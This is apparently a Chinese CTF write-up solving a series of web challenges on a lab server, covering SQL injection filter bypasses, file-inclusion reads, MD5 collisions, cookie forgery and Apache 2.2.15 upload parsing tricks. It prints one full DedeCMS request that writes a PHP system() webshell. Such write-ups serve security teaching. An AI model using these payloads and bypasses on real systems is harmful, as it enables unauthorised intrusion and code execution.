全是Web题,虽然大都是原题,但是质量不错,刷完后感觉学到了不少知识。
非主流老哥的后门,你进得去么,靶机:http://114.55.36.69:8020
这道题的考点在于
访问http://114.55.36.69:8020/upload/dama.xxxx
得到源码
php格式化后http://www.jsons.cn/phpformat/
,进行审计
可以看到最开始,如果当参数pass
不为空的时候,调用chkpass
函数进行判断
而chkpass
则是检测,user_agent
头里有没有,md5加密过的pass
参数的值
向下接着看helloowner
helloowner
则是进行url切分拼接,和json_decode后执行$d['f']($d['d']);
这里可以把url切分函数,单独分离出来,搭在到本地进行测试
成功绕过。
而$d['f']($d['d']);
可以用于构造命令执行的一句话木马(这里构造代码执行eval一句话失败,无法被执行)
这里构造payload
最终访问输出如下
构造并发送payload,获得flag
放出来好几天的东西,随便玩玩http://114.55.36.69:8008
默认后台,后台管理员登陆页面弱口令admin/admin
发现dedecms版本为DedeCMS_V57_UTF8_SP2,在网上可以找到它的后台代码执行漏洞,https://www.freebuf.com/vuls/164035.html
访问http://114.55.36.69:8008/dede/tpl.php?action=upload
,右击查看源代码获取token值
写入一句话木马
http://114.55.36.69:8008/dede/tpl.php?filename=flag0.lib.php&action=savetagfile&content=%3C?php%20system($_POST[%27cmd%27]);%20?%3E&token=89f28c36f44cd0849bc2c43880b5dd18
访问写入的木马获取到flag路径
getflag
你以为还是简单的新闻搜索网站么 http://114.55.36.69:8030
这里过滤了union
、select
使用mysql内联注释进行绕过
常规操作,试一试 http://114.55.36.69:8009/
这里存在本地文件包含,且php拼接后缀
发现其web根目录下存在flag.php
,直接php伪协议读取
base64解码即可得到flag
简单的新闻搜索网站 http://114.55.36.69:8010
简单的post注入
ctf打多了,现在咱们把hackerone的漏洞复现一下吧。小曾师傅花了好几天写了一套模拟hackerone上的漏洞的程序,恩阿。很有趣哦~这可是企业实实在在遇到的问题哦!不是脑洞大开题 请各位亲们谨慎思考。靶机:http://114.55.36.69:8023
详细步骤
大约在15亿年前,生活在地球上的恐龙中有一种很奇怪的恐龙,他们有一种奇怪的特性,那就是当在捕杀猎物的时候,如果猎物发出惊讶的表情的时候,他们也会发出惊讶的表情来告诉猎物“你们快要死了”,然而这种特性并没什么用处。。。因为我编不下去了。。以上这个故事是我瞎编的。。。靶机:http://114.55.36.69:8022
这是一道代码审计题
$_SERVER['QUERY_STRING']
会获取到所有的文件后面传递的所有参数。
下面的实验可以直观的展现出它的作用
php有以下特性
利用以上特性进行绕过
瓶子里的酒啊,越久越好,靶机:http://114.55.36.69:8017
作为一个不会代码审计的弱鸡,看了两个小时代码,猜测可能在上传解压后判断文件名不合法然后删除文件的地方存在条件竞争
结果发现每次上传的时候都会有几秒的sleep时间,并不能成功竞争,并且如果爆破的话,会导致web无法正常访问。
最后发现是考点是apache2.2.15的解析漏洞,跟代码怎么写没有关系。。。
在apache2.2.15版本的情况下,test.php.png
及.jpg
、.gif
等均会被解析成php文件来执行,高版本的apach服务器不存在此漏洞。
尝试上传压缩包中名字为test.php.png
的一句话木马时无法上传成功,判断可能黑名单检测php,这里我们上传文件名test.PHP.png
为的一句话木马。
上传成功,得到flag
要学习新的内容才能做出来 http://114.55.36.69:8007
访问http://114.55.36.69:8007/robots.txt
从题目名称和robots.txt文件可以猜测,该题目考察的是基于时间的盲注
发现此处存在黑名单
经过测试发现其检测sleep
、benchmark
函数,这里我们可以利用等价函数get_lock()
来进行延时注入
参考资料https://www.cesafe.com/3993.html
可以注入出数据库名
但是向下不得不使用select
语句进行注入,这道题同样检测select
此时可以不使用传统的数据库名=>表名=>字段名=>数据
的方式来进行注入,可以利用mysql 同库不需要select查表,直接可以查询字段名的特性来进行构造sql注入语句
此时要注意使用get_lock
函数时需要开两个session测试,第二次测试才会有正常的延时。
根据语句写出盲注脚本
运行得到flag
md5 crash http://114.55.36.69:8006
右击查看源代码
发现进行了类型转换,并且使强类型比较,可以使用md5碰撞生成器,生成两个内容不同,但是md5相同的问题件,来进行攻击
使用fastcoll工具来进行md5碰撞攻击
用python来进行读取然后进行url编码
简单的md5 http://114.55.36.69:8004
访问后右击查看源代码
直接传参
不久前才开发的系统,功能也还不完善,代码也还有待改进 http://114.55.36.69:8014/
访问http://114.55.36.69:8014/web/robots.txt
发现
访问http://114.55.36.69:8014/web/index.php?r=site/loginuser_1
右击查看源代码
给出了github的地址,通过它找到了作者留在github上的hint
获得了一个测试账号test/cib_sec
和cookie生成的php代码
我们用测试账号登陆
发现权限是游客,upload功能无法使用
我们来分析test用户的cookie,对其进行urldecode和反序列化操作
根据github上的生成信息来伪造管理员的cookie
获得cookie
通过burpsuite替换cookie访问upload页面
成功访问upload页面
我们利用上传点来上传我们的webshell
上传点存在白名单验证,从返回包可以得知其是apache2.2.15,apache2.2.15版本具有文件解析漏洞,可以把test.php.png
当作php文件来解析执行,apache高版本不存在此漏洞,这里我们可以使用apache2.2.15的解析漏洞来绕过白名单限制。
成功上传,访问得到flag
玩个蛇皮 http://114.55.36.69:8011
这个题是一个用js实现的贪吃蛇游戏
玩一局就可以看到它的长度显示了出来,右击查看源代码
可以看到这里加载了game.js
文件,我们访问http://114.55.36.69:8011/js/game.js
可以看到当长度>2500时执行这段aaencode代码,直接利用firebug进行调试, 执行加密结果,返回为一个假的flag,执行代码后,DOM树, 发现window[‘flag’]选项,发现flag
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-4-21 14:58
被flag0编辑
,原因: 修复paload错别字